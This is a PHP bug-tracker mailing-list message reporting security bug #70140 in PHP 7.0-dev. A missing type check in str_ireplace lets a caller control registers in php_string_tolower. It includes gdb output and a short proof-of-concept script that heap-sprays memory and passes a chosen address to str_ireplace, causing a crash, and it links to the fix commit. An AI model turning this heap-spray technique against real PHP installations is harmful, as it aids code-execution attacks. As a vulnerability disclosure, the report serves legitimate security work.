Sec Bug->Bug #70140 [Csd]: str_ireplace/php_string_tolower - Arbitrary Code Execution

From: Date: Wed, 29 Jul 2015 18:18:18 +0000
Subject: Sec Bug->Bug #70140 [Csd]: str_ireplace/php_string_tolower - Arbitrary Code Execution
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-194822@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=70140&edit=1 ID: 70140 Updated by: stas@php.net Reported by: fourny dot d at gmail dot com Summary: str_ireplace/php_string_tolower - Arbitrary Code Execution Status: Closed -Type: Security +Type: Bug Package: Strings related Operating System: x86_64 GNU/Linux PHP Version: 7.0Git-2015-07-26 (Git) Assigned To: laruence Block user comment: N Private report: N Previous Comments: ------------------------------------------------------------------------ [2015-07-29 10:37:20] fourny dot d at gmail dot com Thank you. Can you make this bug public please? Regards, Dimitri Fourny. ------------------------------------------------------------------------ [2015-07-27 13:44:33] laruence@php.net fixed in https://github.com/php/php-src/commit/6aeee47b2cd47915ccfa3b41433a3f57aea24dd5 ------------------------------------------------------------------------ [2015-07-26 14:15:43] fourny dot d at gmail dot com Description: ------------ Hello, I discovered a vulnerability issue in this PHP version: $ php --version PHP 7.0.0-dev (cli) (built: Jul 25 2015 11:31:46) (DEBUG) Copyright (c) 1997-2015 The PHP Group Zend Engine v3.0.0-dev, Copyright (c) 1998-2015 Zend Technologies In this new version of PHP, it is possible to control some registers and this could be lead to an arbitrary code execution. The problem is in the function "str_ireplace", the third arguments "$subject" type is not checked. Because of that, we can control the assembly registers. We can check that in gdb: Breakpoint 1, 0x00000000008139ff in php_string_tolower (s=0x7fff55e00020) at /home/df0/php-src/ext/standard/string.c:1503 1503 e = c + ZSTR_LEN(s); (gdb) x/10i $rip => 0x8139ff <php_string_tolower+29>: mov rdx,QWORD PTR [rax+0x10] 0x813a03 <php_string_tolower+33>: mov rax,QWORD PTR [rbp-0x18] 0x813a07 <php_string_tolower+37>: add rax,rdx 0x813a0a <php_string_tolower+40>: mov QWORD PTR [rbp-0x20],rax 0x813a0e <php_string_tolower+44>: jmp 0x813af2 <php_string_tolower+272> 0x813a13 <php_string_tolower+49>: call 0x42b2c0 <__ctype_b_loc@plt> 0x813a18 <php_string_tolower+54>: mov rdx,QWORD PTR [rax] 0x813a1b <php_string_tolower+57>: mov rax,QWORD PTR [rbp-0x18] 0x813a1f <php_string_tolower+61>: movzx eax,BYTE PTR [rax] 0x813a22 <php_string_tolower+64>: movzx eax,al (gdb) x/10x $rax 0x7fff55e00020: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fff55e00030: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fff55e00040: 0x41414141 0x41414141 (gdb) ni 0x0000000000813a03 1503 e = c + ZSTR_LEN(s); (gdb) x/x $rdx 0x4141414141414141: Cannot access memory at address 0x4141414141414141 If you have a question, do not hesitate. Regards, Dimitri Fourny. Test script: --------------- <?php // heap spray ini_set("memory_limit", -1); $part = str_repeat("\x41", 4096); $str = str_repeat($part, 10*1024*1024*256/4096); // the core $a = "string"; str_ireplace($a, $a, 0x7fff55e00020); ?> Actual result: -------------- Program received signal SIGSEGV, Segmentation fault. 0x00000000008139ff in php_string_tolower (s=0x7fff55e00020) at php-src/ext/standard/string.c:1503 ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=70140&edit=1

« previous php.bugs (#194822) next »